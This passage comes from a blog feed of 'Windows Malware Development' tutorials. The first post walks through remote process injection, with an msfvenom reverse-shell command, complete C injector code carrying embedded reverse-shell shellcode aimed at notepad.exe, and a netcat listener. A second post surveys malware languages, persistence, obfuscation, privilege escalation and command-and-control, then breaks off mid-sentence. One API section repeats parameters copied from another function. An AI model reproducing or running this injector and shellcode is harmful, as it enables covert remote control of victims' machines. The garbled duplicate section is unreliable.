src="https://cdn-images-1.medium.com/max/1024/1*veyhgHLP9Azh4T8QS4dzqw.png" /><figcaption>Fig: Msfvenom shellcode generating</figcaption></figure><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;Your IP&gt; LPORT=&lt;PORT&gt; -f c</pre><p>Now, let’s jump into the programming part. Firstly, we will import the necessary header files.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;</pre><p><strong>The two header files included:</strong></p><ol><li><strong>&lt;stdio.h&gt;: </strong>This header file stands for “standard input-output header.” It provides functions for input and output operations, such as <strong>printf() </strong>and <strong>scanf()</strong>.</li><li><strong>&lt;windows.h&gt;: </strong>This header file is specific to the Windows operating system. It provides access to Windows-specific functions, data types, and macros. using this header files we can access the windows API.</li></ol><pre>int main() {<br> char shellcode[] = {<br> .................<br> ..................<br> }<br> }</pre><ol><li><strong>int main() { … }</strong>: This is the main function of the program. In C, every program must have a <strong>main</strong> function, and execution of the program begins from here. The <strong>int</strong>before <strong>main</strong> indicates that the function returns an integer value to the operating system upon completion. Here, the <strong>main</strong> function appears to be defined but not implemented, as it lacks any executable statements within its body.</li><li><strong>char shellcode[] = { … };: </strong>This line declares an array named <strong>shellcode</strong> of type <strong>char</strong>. Arrays in C are collections of elements of the same data type. In this case, each element of the array will be a single character (byte). The <strong>[]</strong> indicates that <strong>shellcode</strong>is an array, and the <strong>{ … }</strong> contains the initialization values for the array.</li></ol><p><strong>Declaring Variables</strong></p><pre>HANDLE hProcess;<br>HANDLE hThread;<br>void* exec_mem;</pre><ol><li><strong>HANDLE hProcess;: </strong>This declares a variable named <strong>hProcess</strong> of type <strong>HANDLE</strong>. In Windows programming, <strong>HANDLE</strong> is a data type used to represent handles to various system resources, such as files, processes, threads, synchronization objects, and more. Here, <strong>hProcess</strong>likely represents a handle to a process, which can be used to perform operations on that process, such as reading or writing memory.</li><li><strong>HANDLE hThread;: </strong>Similar to <strong>hProcess</strong>, this declares a variable named <strong>hThread</strong> of type <strong>HANDLE</strong>. However, in this case, <strong>hThread</strong> likely represents a handle to a thread, which is a unit of execution within a process. Handles to threads can be used to control the execution of threads, wait for their completion, or perform other thread-related operations.</li><li><strong>void* exec_mem;: </strong>This declares a variable named <strong>exec_mem </strong>of type <strong>void*</strong>, which is a pointer to an unspecified type. In this context, <strong>exec_mem </strong>is likely used to store the address of allocated memory where the shellcode will be executed. Using <strong>void*</strong> allows flexibility in storing memory addresses without specifying the data type. This pointer will be used to pass the address of the allocated memory to functions like <strong>WriteProcessMemory()</strong> and <strong>CreateRemoteThread()</strong> for injecting and executing shellcode in a remote process.</li></ol><p>I know that these data types might be new. These data types are known as Windows data types. Could you provide more information about Windows data types?<strong> </strong>(<a href="https://learn.microsoft.com/en-us/windows/win32/winprog/windows-data-types">Windows Data Types (BaseTsd.h) — Win32 apps | Microsoft Learn</a>).</p><p><strong>Usages of WinAPI</strong></p><ul><li>OpenProcess()</li><li>VirtualAllocEx()</li><li>WriteProcessMemory()</li><li>CreateRemoteThread()</li></ul><h4><strong>OpenProcess()</strong></h4><p>The <strong>OpenProcess</strong> function is part of the Windows API (Application Programming Interface), which provides a set of functions and data types for developers to interact with the Windows operating system. Here’s an explanation of the <strong>OpenProcess</strong> function:</p><p><strong>Function Signature:</strong></p><pre>HANDLE OpenProcess(<br>  DWORD dwDesiredAccess,<br>  BOOL  bInheritHandle,<br>  DWORD dwProcessId<br>);</pre><p><strong>Parameters:</strong></p><ol><li><strong>dwDesiredAccess</strong>(DWORD): This parameter specifies the access rights to the process object. It determines the operations that can be performed on the process handle returned by <strong>OpenProcess</strong>. Access rights are represented by a combination of flags, such as <strong>PROCESS_ALL_ACCESS</strong>, <strong>PROCESS_QUERY_INFORMATION</strong>, <strong>PROCESS_TERMINATE</strong>, etc.</li><li><strong>bInheritHandle </strong>(BOOL): This parameter indicates whether the returned handle can be inherited by child processes. If set to TRUE, the handle can be inherited. If set to FALSE, the handle cannot be inherited.</li><li><strong>dwProcessId </strong>(DWORD): This parameter specifies the identifier of the target process. It is typically the process ID (PID) of the process to be opened.</li></ol><p><strong>Return Value:</strong></p><p>If the function succeeds, it returns a handle to the specified process. If the function fails, it returns NULL. To get extended error information, you can call the <strong>GetLastError </strong>function.</p><p><em>Official documentation for </em><strong><em>OpenProcess</em></strong><em>()</em> → <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess">OpenProcess function (processthreadsapi.h) — Win32 apps | Microsoft Learn</a></p><p><strong>VirtualAllocEx()</strong></p><p>The <strong>VirtualAllocEx </strong>function is part of the Windows API and is used for memory allocation within the address space of a specified process. Here’s an explanation of the <strong>VirtualAllocEx </strong>function:</p><p><strong>Function Signature:</strong></p><pre>LPVOID VirtualAllocEx(<br>  HANDLE hProcess,<br>  LPVOID lpAddress,<br>  SIZE_T dwSize,<br>  DWORD  flAllocationType,<br>  DWORD  flProtect<br>);</pre><h4>Parameters:</h4><ol><li><strong>hProcess</strong> (HANDLE): This parameter is a handle to the process in which memory is to be allocated. The handle must have the <strong>PROCESS_VM_OPERATION</strong> access right.</li><li><strong>lpAddress</strong> (LPVOID): This parameter specifies the desired starting address of the allocated memory block. If <strong>NULL</strong>, the operating system determines the starting address.</li><li><strong>dwSize</strong> (SIZE_T): This parameter specifies the size, in bytes, of the memory block to allocate.</li><li><strong>flAllocationType</strong> (DWORD): This parameter specifies the type of memory allocation. It can be one of the following values:</li></ol><ul><li><strong>MEM_COMMIT</strong>: Allocates memory committed to the specified process. The function initializes the memory to zero.</li><li><strong>MEM_RESERVE</strong>: Reserves a range of the process&#39;s virtual address space without allocating any actual physical storage. The reserved memory can later be committed using <strong>MEM_COMMIT</strong>.</li><li><strong>MEM_RESET</strong>: Resets the state of the specified pages to free, which allows subsequent allocation requests to use these pages.</li><li><strong>MEM_RESET_UNDO</strong>: Reverses the state of the specified pages from reset to committed.</li><li><strong>MEM_LARGE_PAGES</strong>: Allocates memory using large pages. The size and alignment must be a multiple of the large-page minimum.</li><li><strong>MEM_PHYSICAL</strong>: Reserves the specified number of physical memory pages.</li></ul><p>5. <strong>flProtect</strong> (DWORD): This parameter specifies the memory protection for the region of pages to be allocated. It can be one of the following values, or a combination of them:</p><ul><li><strong>PAGE_EXECUTE</strong>: The memory is executable.</li><li><strong>PAGE_EXECUTE_READ</strong>: The memory is executable and readable.</li><li><strong>PAGE_EXECUTE_READWRITE</strong>: The memory is executable, readable, and writable.</li><li><strong>PAGE_EXECUTE_WRITECOPY</strong>: The memory is executable, readable, and copy-on-write.</li><li><strong>PAGE_READONLY</strong>: The memory is readable.</li><li><strong>PAGE_READWRITE</strong>: The memory is readable and writable.</li><li><strong>PAGE_WRITECOPY</strong>: The memory is writable and copy-on-write.</li><li><strong>PAGE_NOACCESS</strong>: The memory cannot be accessed.</li></ul><h4>Return Value:</h4><p>If the function succeeds, it returns the base address of the allocated memory block. If it fails, it returns <strong>NULL</strong>. To get extended error information, you can call the <strong>GetLastError</strong> function.</p><p><em>Official documentation for </em><strong><em>VirtualAllocEx()</em></strong> → <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex">VirtualAllocEx function (memoryapi.h) — Win32 apps | Microsoft Learn</a></p><p><strong>WriteProcessMemory()</strong></p><p>The WriteProcessMemory function is part of the Windows API and is used to write data to the memory of a specified process. Here’s an explanation of the WriteProcessMemory function:</p><p><strong>Function Signature:</strong></p><pre>BOOL WriteProcessMemory(<br>  HANDLE  hProcess,<br>  LPVOID  lpBaseAddress,<br>  LPCVOID lpBuffer,<br>  SIZE_T  nSize,<br>  SIZE_T  *lpNumberOfBytesWritten<br>);</pre><p><strong>Parameters:</strong></p><ol><li><strong>hProcess (HANDLE):</strong> This parameter is a handle to the process whose memory is to be written. The handle must have the <strong>PROCESS_VM_WRITE </strong>and <strong>PROCESS_VM_OPERATION</strong> access rights.</li><li><strong>lpBaseAddress (LPVOID):</strong> This parameter specifies the base address in the specified process’s address space where the data is to be written.</li><li><strong>lpBuffer (LPCVOID):</strong> This parameter specifies the buffer containing the data to be written to the process’s memory. The buffer is of type <strong>const void* </strong>(<strong>LPCVOID</strong>), indicating that it is a pointer to read-only memory.</li><li><strong>nSize (SIZE_T):</strong> This parameter specifies the number of bytes to be written to the process’s memory.</li><li>l<strong>pNumberOfBytesWritten (SIZE_T*):</strong> This optional parameter is a pointer to a variable that receives the number of bytes actually written to the process’s memory. This can be useful for determining if the entire buffer was successfully written.</li></ol><p><strong>Return Value:</strong></p><p>If the function succeeds, it returns <strong>TRUE</strong>. If it fails, it returns <strong>FALSE</strong>. To get extended error information, you can call the <strong>GetLastError</strong> function<strong>.</strong></p><p><em>Official documentation for </em><strong><em>WriteProcessMemory()</em> → </strong><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory"><strong>WriteProcessMemory function (memoryapi.h) — Win32 apps | Microsoft Learn</strong></a></p><p><strong>CreateRemoteThread()</strong></p><p>The <strong>CreateRemoteThread</strong> function is part of the Windows API and is used to create a thread in the address space of a specified process. Here’s an explanation of the <strong>CreateRemoteThread</strong> function:</p><p><strong>Function Signature:</strong></p><pre>HANDLE CreateRemoteThread(<br>  HANDLE                 hProcess,<br>  LPSECURITY_ATTRIBUTES  lpThreadAttributes,<br>  SIZE_T                 dwStackSize,<br>  LPTHREAD_START_ROUTINE lpStartAddress,<br>  LPVOID                 lpParameter,<br>  DWORD                  dwCreationFlags,<br>  LPDWORD                lpThreadId<br>);</pre><h4>Parameters:</h4><ol><li><strong>hProcess</strong> (HANDLE): This parameter is a handle to the process whose memory is to be written. The handle must have the <strong>PROCESS_VM_WRITE</strong> and <strong>PROCESS_VM_OPERATION</strong> access rights.</li><li><strong>lpBaseAddress</strong> (LPVOID): This parameter specifies the base address in the specified process&#39;s address space where the data is to be written.</li><li><strong>lpBuffer</strong> (LPCVOID): This parameter specifies the buffer containing the data to be written to the process&#39;s memory. The buffer is of type <strong>const void*</strong> (<strong>LPCVOID</strong>), indicating that it is a pointer to read-only memory.</li><li><strong>nSize</strong> (SIZE_T): This parameter specifies the number of bytes to be written to the process&#39;s memory.</li><li><strong>lpNumberOfBytesWritten</strong> (SIZE_T*): This optional parameter is a pointer to a variable that receives the number of bytes actually written to the process&#39;s memory. This can be useful for determining if the entire buffer was successfully written.</li></ol><h4>Return Value:</h4><p>If the function succeeds, it returns <strong>TRUE</strong>. If it fails, it returns <strong>FALSE</strong>. To get extended error information, you can call the <strong>GetLastError</strong> function.</p><p><em>Official documentation for </em><strong><em>WriteProcessMemory()</em></strong> → <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory">WriteProcessMemory function (memoryapi.h) — Win32 apps | Microsoft Learn</a></p><h4>CreateRemoteThread()</h4><p>The <strong>CreateRemoteThread</strong> function is part of the Windows API and is used to create a thread in the address space of a specified process. Here&#39;s an explanation of the <strong>CreateRemoteThread</strong> function:</p><h4>Function Signature:</h4><pre>HANDLE CreateRemoteThread(<br>  HANDLE                 hProcess,<br>  LPSECURITY_ATTRIBUTES  lpThreadAttributes,<br>  SIZE_T                 dwStackSize,<br>  LPTHREAD_START_ROUTINE lpStartAddress,<br>  LPVOID                 lpParameter,<br>  DWORD                  dwCreationFlags,<br>  LPDWORD                lpThreadId<br>);</pre><h4>Parameters:</h4><ol><li><strong>hProcess</strong> (HANDLE): This parameter is a handle to the process in which the thread is to be created. The handle must have the <strong>PROCESS_CREATE_THREAD</strong>, <strong>PROCESS_VM_OPERATION</strong>, and <strong>PROCESS_VM_WRITE</strong> access rights.</li><li><strong>lpThreadAttributes</strong> (LPSECURITY_ATTRIBUTES): This parameter specifies the security attributes for the new thread. If <strong>NULL</strong>, the thread gets a default security descriptor and the handle cannot be inherited.</li><li><strong>dwStackSize</strong> (SIZE_T): This parameter specifies the initial size of the stack, in bytes, for the new thread. If <strong>0</strong>, the size is determined by the operating system.</li><li><strong>lpStartAddress</strong> (LPTHREAD_START_ROUTINE): This parameter is a pointer to the application-defined function to be executed by the thread. The function must be of type <strong>DWORD WINAPI</strong> and take a single <strong>LPVOID</strong> parameter, which represents the thread parameter.</li><li><strong>lpParameter</strong> (LPVOID): This parameter is a pointer to a variable to be passed to the thread function identified by <strong>lpStartAddress</strong>. It can be <strong>NULL</strong> if no parameter is needed.</li><li><strong>dwCreationFlags</strong> (DWORD): This parameter specifies additional flags that control the creation of the thread. The flags can be <strong>0</strong> or a combination of the following:</li></ol><ul><li><strong>CREATE_SUSPENDED</strong>: The thread is created in a suspended state and will not run until resumed.</li><li><strong>STACK_SIZE_PARAM_IS_A_RESERVATION</strong>: The <strong>dwStackSize</strong> parameter specifies the reserve size of the stack.</li></ul><p>7. <strong>lpThreadId</strong> (LPDWORD): This optional parameter receives the thread identifier of the newly created thread. If <strong>NULL</strong>, the thread identifier is not returned.</p><h4>Return Value:</h4><p>If the function succeeds, it returns a handle to the new thread. If it fails, it returns <strong>NULL</strong>. To get extended error information, you can call the <strong>GetLastError</strong> function.</p><p><em>Official documentation for </em><strong><em>CreateRemoteThread()</em></strong> → <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread">CreateRemoteThread function (processthreadsapi.h) — Win32 apps | Microsoft Learn</a></p><p>First of all, I’m opening the System Informer to find the PID of the process ‘notepad.exe’. Yeah, I know that we can get the PID automatically without System Informer, but since this is our first post, I’m trying to keep it simple.</p><figure><img alt="System Informer to find notepad.exe PID" src="https://cdn-images-1.medium.com/max/1024/0*Pxq85w0Bv4dvmmq7.png" /><figcaption>Fig: <em>System Informer to find notepad.exe PID</em></figcaption></figure><p>As we see in the System Informer, the PID for the process ‘notepad.exe’ is 3192. Now, let’s start with WinAPI.</p><pre>OpenProcess(PROCESS_ALL_ACCESS, TRUE, 3192);</pre><ol><li><strong>PROCESS_ALL_ACCESS</strong>: This is a constant that specifies the access rights to the process handle. <strong>PROCESS_ALL_ACCESS</strong> grants all possible access rights to the process, allowing the calling process to perform any operation on the target process.</li><li><strong>TRUE</strong>: This parameter indicates whether the handle to the process is inheritable by child processes. In this case, <strong>TRUE</strong> means the handle is inheritable.</li><li>3192: This is the Process ID (PID) of the target process to be opened in our case which is ‘notepad.exe’. Each process in Windows is assigned a unique identifier known as the Process ID.</li></ol><pre>VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);</pre><ol><li><strong>hProcess</strong>: This is the handle to the target process obtained from <strong>OpenProcess</strong>. It specifies the process in which the memory allocation will occur.</li><li><strong>NULL</strong>: This parameter specifies the desired starting address of the region of pages that you want to allocate. Since <strong>NULL</strong> is passed here, the system determines where to allocate the region.</li><li><strong>sizeof(shellcode)</strong>: This specifies the size, in bytes, of the memory block to be allocated. It seems like <strong>shellcode</strong> is a variable or array containing some executable code, and <strong>sizeof(shellcode)</strong> returns the size of this code.</li><li><strong>MEM_COMMIT | MEM_RESERVE</strong>: These are flags that specify the type of allocation to be performed. <strong>MEM_COMMIT</strong> reserves and commits a region of pages in the virtual address space of the specified process, and <strong>MEM_RESERVE</strong> reserves a range of the process&#39;s virtual address space without allocating any actual physical storage in memory or in the paging file. The combination of both flags means that the memory will be both reserved and committed.</li><li><strong>PAGE_EXECUTE_READWRITE</strong>: This flag specifies the type of memory protection to be assigned to the allocated memory region. In this case, <strong>PAGE_EXECUTE_READWRITE</strong> allows the memory to be read, written, and executed. This is often used for code injection scenarios, where executable code is written into the allocated memory region and then executed.</li></ol><pre>WriteProcessMemory(hProcess, exec_mem, shellcode, sizeof(shellcode), NULL);</pre><ol><li><strong>hProcess</strong>: This is the handle to the target process obtained from <strong>OpenProcess</strong>. It specifies the process in which the memory write operation will occur.</li><li><strong>exec_mem</strong>: This is the base address of the memory region within the target process where the data will be written. It was previously allocated using <strong>VirtualAllocEx</strong>. This is where the shellcode will be written.</li><li><strong>shellcode</strong>: This is likely a variable or array containing the shellcode to be injected into the target process. Shellcode is typically a sequence of machine code instructions designed to perform a specific task when executed.</li><li><strong>sizeof(shellcode)</strong>: This specifies the size, in bytes, of the data to be written. It ensures that the entire shellcode is written to the target process.</li><li><strong>NULL</strong>: This parameter is typically used for error checking or obtaining information about the number of bytes written. In this case, since it&#39;s <strong>NULL</strong>, the function call doesn&#39;t provide any information back regarding the number of bytes written.</li></ol><pre>CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, 0);</pre><ol><li><strong>hProcess</strong>: This is the handle to the target process obtained from <strong>OpenProcess</strong>. It specifies the process in which the new thread will be created.</li><li><strong>NULL</strong>: This parameter is typically reserved and should be set to <strong>NULL</strong>.</li><li><strong>0</strong>: This parameter is typically reserved and should be set to <strong>0</strong>.</li><li><strong>(LPTHREAD_START_ROUTINE)exec_mem</strong>: This parameter is a pointer to the starting address of the thread&#39;s execution. Since <strong>exec_mem</strong> contains the address of the shellcode that was previously written into the target process using <strong>WriteProcessMemory</strong>, this is where the thread will begin executing.</li><li><strong>NULL</strong>: This parameter represents a pointer to a variable to be passed to the thread function, but in this case, no data needs to be passed, so it&#39;s set to <strong>NULL</strong>.</li><li><strong>0</strong>: This parameter specifies the flags that control the creation of the thread. It&#39;s set to <strong>0</strong>, indicating default behavior.</li><li><strong>0</strong>: This parameter specifies the thread identifier of the new thread. Since this is set to <strong>0</strong>, the thread identifier is not retrieved.</li></ol><pre>CloseHandle(hProcess);<br>return 0;</pre><p>Finally we are closing the handle to the target process (<strong>hProcess</strong>) that was obtained earlier <strong>return 0;</strong> In C and similar languages, a return value of 0 typically indicates successful execution of the program.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>int main() {<br> char shellcode[] = {<br> &quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50&quot;<br>&quot;\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52&quot;<br>&quot;\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a&quot;<br>&quot;\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41&quot;<br>&quot;\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52&quot;<br>&quot;\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48&quot;<br>&quot;\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40&quot;<br>&quot;\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48&quot;<br>&quot;\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41&quot;<br>&quot;\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1&quot;<br>&quot;\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c&quot;<br>&quot;\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01&quot;<br>&quot;\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a&quot;<br>&quot;\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b&quot;<br>&quot;\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33&quot;<br>&quot;\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00&quot;<br>&quot;\x00\x49\x89\xe5\x49\xbc\x02\x00\x1f\x90\xc0\xa8\x12\x63&quot;<br>&quot;\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07&quot;<br>&quot;\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29&quot;<br>&quot;\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48&quot;<br>&quot;\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea&quot;<br>&quot;\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89&quot;<br>&quot;\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81&quot;<br>&quot;\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00&quot;<br>&quot;\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0&quot;<br>&quot;\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01&quot;<br>&quot;\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41&quot;<br>&quot;\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d&quot;<br>&quot;\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48&quot;<br>&quot;\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff&quot;<br>&quot;\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5&quot;<br>&quot;\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb&quot;<br>&quot;\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5&quot; };<br> HANDLE hProcess;<br> HANDLE hThread;<br> void* exec_mem;<br> hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, 3192);<br> exec_mem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br> WriteProcessMemory(hProcess, exec_mem, shellcode, sizeof(shellcode), NULL);<br> hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, 0);<br> CloseHandle(hProcess);<br> return 0;<br>};</pre><h4><strong>Now let’s see how it works.</strong></h4><p>Let’s start our listener on the attacker machine, which is Kali. In this case, we are going to listen on port 8080, since it was used to create our shellcode.</p><figure><img alt="System Informer to find notepad.exe PID" src="https://cdn-images-1.medium.com/max/1024/0*1tQ1shajwl_c1UrX.png" /><figcaption>Fig: Started listener in nc (netcat)</figcaption></figure><p>Now let’s build our payload. Here, I’m using the Visual Studio default compiler, but you can use any compiler you wish.</p><figure><img alt="Building the Solutions" src="https://cdn-images-1.medium.com/max/954/0*qMmDaM3OACtNMBhB.png" /><figcaption>Fig: Building the Solutions</figcaption></figure><h4><strong>Demo of Remote process injection</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8DzJm9xj46cCCYC8zF4NTA.gif" /><figcaption>Fig: Demo of Remote process injection</figcaption></figure><h4><strong>Notepad.exe process with system informer</strong></h4><figure><img alt="Notepad.exe process with system informer" src="https://cdn-images-1.medium.com/max/1024/0*ctogrbYDc9ftoDvP.png" /><figcaption>Fig: Notepad.exe process with system informer</figcaption></figure><h4><strong>Shellcode injected in process Notepad.exe</strong></h4><figure><img alt="Shellcode injected in process Notepad.exe" src="https://cdn-images-1.medium.com/max/989/0*TKidnyMs2vRRpgvF.png" /><figcaption>Fig: Shellcode injected in process Notepad.exe</figcaption></figure><p>Here you can see that our shellcode is successfully injected on the notepad.exe, I hope you like this post. (facts: The global cost of cybercrime is projected to reach $10.5 trillion annually by 2025, up from $3 trillion in 2015.)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=739f93240016" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Windows Malware Development (Part-2)]]></title>
            <link>https://medium.com/@wintersoldiers/introduction-to-windows-malware-development-part-2-0f024c8d8d12?source=rss-2521b328e11f------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f024c8d8d12</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[windows-malware]]></category>
            <category><![CDATA[cyber-security-services]]></category>
            <dc:creator><![CDATA[Winter_Soldiers]]></dc:creator>
            <pubDate>Fri, 05 Jul 2024 14:34:16 GMT</pubDate>
            <atom:updated>2024-07-05T14:34:16.422Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey folks, Winter Soldier is back with Part-Two of Windows Malware Development.</p><p>This is the continuation from the previous post ‘<a href="https://medium.com/@wintersoldiers/introduction-to-windows-malware-development-167f9c101a2b">Windows Malware Development</a>’ , I strongly recommend you guys to go through it, if not read yet!</p><p>As you may be curious, which programming languages should we learn for malware development?</p><p><strong>Selection of Programming Languages in Malware Development</strong></p><p>Almost any programming language can be the basis for malware, including Python, PowerShell, C#, C, C++, and Go. However, some languages are susceptible to malware programming for several reasons:</p><p>a. <strong>Obfuscation</strong>:</p><ul><li>Some languages are inherently code complex and difficult to read, making it difficult for defenders to reverse malware and understand its actions</li><li>Low-level languages like C and C++ often result in compiled binaries with complex and complex assembly codes, making analysis difficult for security researchers</li></ul><p>b. <strong>Dependencies</strong>:</p><ul><li>The execution of malware coded in certain languages may depend on specific preconditions or runtime environments on the target system.</li><li>For example, if you are running a Python script, there needs to be a version of Python, which can prevent the delivery of malware across different systems</li><li>On the other hand, languages like C and C++ can be compiled into independent executables, reducing dependency on external runtimes and increasing the ability to stink up execution in different environments</li></ul><ol><li><strong>File Size:</strong></li></ol><ul><li>Different programming languages provide different file sizes for generated malware binaries, which can affect classification and evasion strategies.</li><li>High-level languages such as Python and PowerShell can generate large file sizes due to their built-in libraries and runtime overhead.</li><li>In contrast, low-level languages like C and assembly can produce smaller and more compact binaries, making them suitable for stealth distribution and deployment</li></ul><p>2. <strong>High vs Low:</strong></p><ul><li>Languages can be classified as high and low based on abstraction level and proximity to the underlying hardware and operating system.</li><li>High-level languages, such as Python and PowerShell, provide abstraction from the complexity of the operating system, simplifying development but potentially sacrificing control and efficiency</li><li>In contrast, low-level languages such as C and assembly give developers direct access to system resources and memory, allowing for more precise control and efficiency</li></ul><p>Considering these factors, low-level languages are often preferred in malware development, particularly for targeting Windows systems, due to their ability to interact intimately with the operating system and offer developers more control over the behavior and capabilities of the malware.</p><p><strong>Common Malware Development Techniques:</strong></p><p>One needs to be skilled in various techniques to create effective malware. Here are some common methods:</p><ol><li><strong>Code Injection:</strong> Malicious code is injected into appropriate methods for use in another process, making detection more difficult.</li><li><strong>Durability Mechanisms</strong>: Ensure that malware survives a reboot and continues to run on an infected system, usually by changing registry keys or using custom tasks.</li><li><strong>Obfuscation</strong>: Hiding the true purpose of the malware by obfuscating the code, making it difficult for reverse engineers and automated tools to analyze.</li><li><strong>Privilege Increase:</strong> To gain higher permissions on the system, malware can run a program that requires administrative privileges.</li><li><strong>Command and Control (C2)</strong>: Establishing a communication channel with a remote server for receiving commands and extracting data.</li></ol><p><strong>Malware Development Tools</strong></p><p>A variety of tools are needed to successfully develop and analyze malware:</p><ol><li><strong>IDEs and Compilers</strong>: Used to write and compile code. Examples include Visual Studio, GCC, and Clang.</li><li><strong>Debuggers</strong>: Used to analyze malware and troubleshoot problems. Examples include OllyDbg, x64dbg, and WinDbg.</li><li><strong>Disagregators and decompilers</strong>: Used for reverse engineering. Examples include IDA Pro, Ghidra, and Radare2.</li><li><strong>Network Analysis Tool</strong>: To monitor network traffic. Examples include Wireshark, tcpdump, and Fiddler.</li><li><strong>Virtualization software</strong>: To create an isolated environment. Examples include VirtualBox, VMware, and Hyper-V.</li><li><strong>Obfuscation Tools</strong>: To hide the code of the malware. Examples include Themida, VMProtect, and UPX.</li></ol><p><strong>Basics of Windows Architecture</strong></p><figure><img alt="Windows Architecture" src="https://cdn-images-1.medium.com/max/542/1*tO8mQCx0xgzToJXLT4GxLw.png" /><figcaption><em>Fig: Windows Architecture</em></figcaption></figure><p><em>Fig: Windows Architecture</em></p><p>Understanding Windows operating system architecture is important for developers, system administrators and malware developers.</p><p><strong>Windows Architecture Revealed</strong></p><p>When a machine running Windows OS processes tasks, it operates in two distinct modes: User Mode and Kernel Mode. User mode hosts applications, while kernel mode hosts critical operating system components. However, applications cannot perform tasks such as file creation directly; They have to rely on the kernel for such tasks, following a specific function call flow.</p><p><strong>Special Items Required</strong></p><ul><li><strong>User Interfaces</strong>: These are user-driven applications such as Notepad, Google Chrome, or Microsoft Word.</li><li><strong>Subsystem DLLs</strong>: Dynamic link libraries (DLLs) that contain API functions called by user applications. Examples are kernel32.dll, ntdll.dll, advapi32.dll, and user32.dll.</li><li><strong>Ntdll.dll</strong>: Functioning as the lowest level of user mode, this system-wide DLL facilitates the transition from user mode to kernel mode. It is often referred to as the Native API or NTAPI.</li><li><strong>Executive Kernel:</strong> Also known as the Windows Kernel, it configures tasks by calling drivers and other modules in kernel mode. The kernel is partially hidden in ntoskrnl.exe in “C:\Windows\System32”.</li></ul><p><strong>Understanding Function Call Flow</strong></p><p>Consider an application endeavoring to create a file. It initiates with the user application invoking the CreateFile WinAPI function from kernel32.dll. Subsequently, CreateFile calls its equivalent NTAPI function, NtCreateFile, through ntdll.dll. Ntdll.dll then executes a system instruction like sysenter (x86) or syscall (x64), transitioning execution to kernel mode. The kernel’s NtCreateFile function is then engaged, invoking kernel drivers and modules to execute the desired task.</p><p><strong>Direct Invocation of Native API (NTAPI)</strong></p><p>Applications possess the capability to invoke syscalls (i.e., NTDLL functions) directly, bypassing the Windows API. While the Windows API serves as a wrapper for the 